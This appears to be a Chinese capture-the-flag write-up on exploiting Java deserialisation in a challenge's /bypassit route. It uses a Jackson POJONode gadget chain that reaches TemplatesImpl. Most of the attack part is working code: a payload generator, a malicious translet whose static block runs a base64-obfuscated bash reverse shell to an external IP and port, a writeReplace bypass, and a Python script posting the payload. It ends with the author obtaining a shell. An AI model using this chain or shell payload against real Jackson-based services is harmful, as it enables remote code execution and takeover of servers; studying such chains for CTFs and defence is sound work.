看下路由
O4p0qg.png
在bypassit路由进行反序列化,看下依赖
O4pQVl.png
O4pGmb.png
存在jackson,看下版本jdk-8u332
O4pEbP.png
考察的是jackson触发TemplatesImpl的getter方法(getOutputProperties)

jackson调用getter流程

O4pdQs.png
BaseJsonNode的toString方法会触发InternalNodeMapper的nodeToString方法
O4psCK.png
O4pYna.png
然后调用ObjectWrite的writeValueAsString方法
O4pf4S.png
然后调用ObjectWriter#_writeValueAndClose
O4pl6N.png
然后调用ObjectWriter#serialize
O4pjbC.png
然后调用DefaultSerializerProvider#serializeValue
O4p2mL.png
然后调用DefaultSerializerProvider#_serialize
O4p6Yi.png
传入BeanSerializer可以调用BeanSerializer#serialize
O4pXqX.png
然后调用BeanSerializerBase#serializeFields
O4puAt.png
然后调用BeanPropertyWriter#serializeAsField
O4pISx.png

调用链

BaseJsonNode#toString->
InternalNodeMapper#nodeToString->
ObjectWriter#writeValueAsString->
ObjectWriter#_writeValueAndClose->
DefaultSerializerProvider#serializeValue->
DefaultSerializerProvider#_serialize->
BeanSerializer#serialize->
BeanSerializerBase#serializeFields->
BeanPropertyWriter#serializeAsField

可以看到确实调用了getter方法,后面就可以走cb的TemplatesImpl#getOutputProperties进行恶意类加载,前面直接用BadAttributeValueExpException来触发toString就行.不过BaseJsonNode是个抽象类,需要找他的实现类来实例化,这里用POJONode
O4p3Cj.png
最终的调用链

BadAttributeValueExpException#readObject->
BaseJsonNode#toString->
InternalNodeMapper#nodeToString->
ObjectWriter#writeValueAsString->
ObjectWriter#_writeValueAndClose->
DefaultSerializerProvider#serializeValue->
DefaultSerializerProvider#_serialize->
BeanSerializer#serialize->
BeanSerializerBase#serializeFields->
BeanPropertyWriter#serializeAsField->
TemplatesImpl#getOutputProperties->
TemplatesImpl#newTransformer->
TemplatesImpl#getTransletInstance->(类初始化)
TemplatesImpl#defineTransletClasses->
defineClass(类加载)

exp

/**
 * @ClassName exp
 * @Description
 * @Author Xutao
 * @Date 2024年09月24日 12:30
 * @Version 1.0
 */

import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.ser.BeanSerializer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class exp {
    public static  void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        fileOutputStream.close();
    }
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code= Files.readAllBytes(Paths.get("E:\\eval.class"));
        byte[][] codes={code};
        TemplatesImpl templatesImpl=new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","1212");
        setFieldValue(templatesImpl,"_bytecodes",codes);
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
        POJONode node = new POJONode(templatesImpl);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException,"val",node);
        serialize(badAttributeValueExpException);
    }
}

eval.java

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.IOException;
public  class eval extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTIxLjExMC80NTY3IDA+JjE=}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

不过在序列化的时候报错了
O4pwnp.png
这是因为java在序列化的时候,如果序列化的类实现了writeReplace方法,就会调用并做检查。BaseJsonNode就实现了这个方法
image-20240924132454850

绕过writeReplace

可以仿写一个BaseJsonNode然后不实现writeReplace方法
O4JMDU.png
然后序列化就不会报错
O4JO6Y.png
然后把序列化的内容传过去,因为是不可见字符,用python发包

import requests
url= "http://101.43.121.110:12345/bypassit"
data=open('E://tao.txt','rb')
r=requests.post(url,data)
print(r.text)

O4JUKM.png
拿到shell。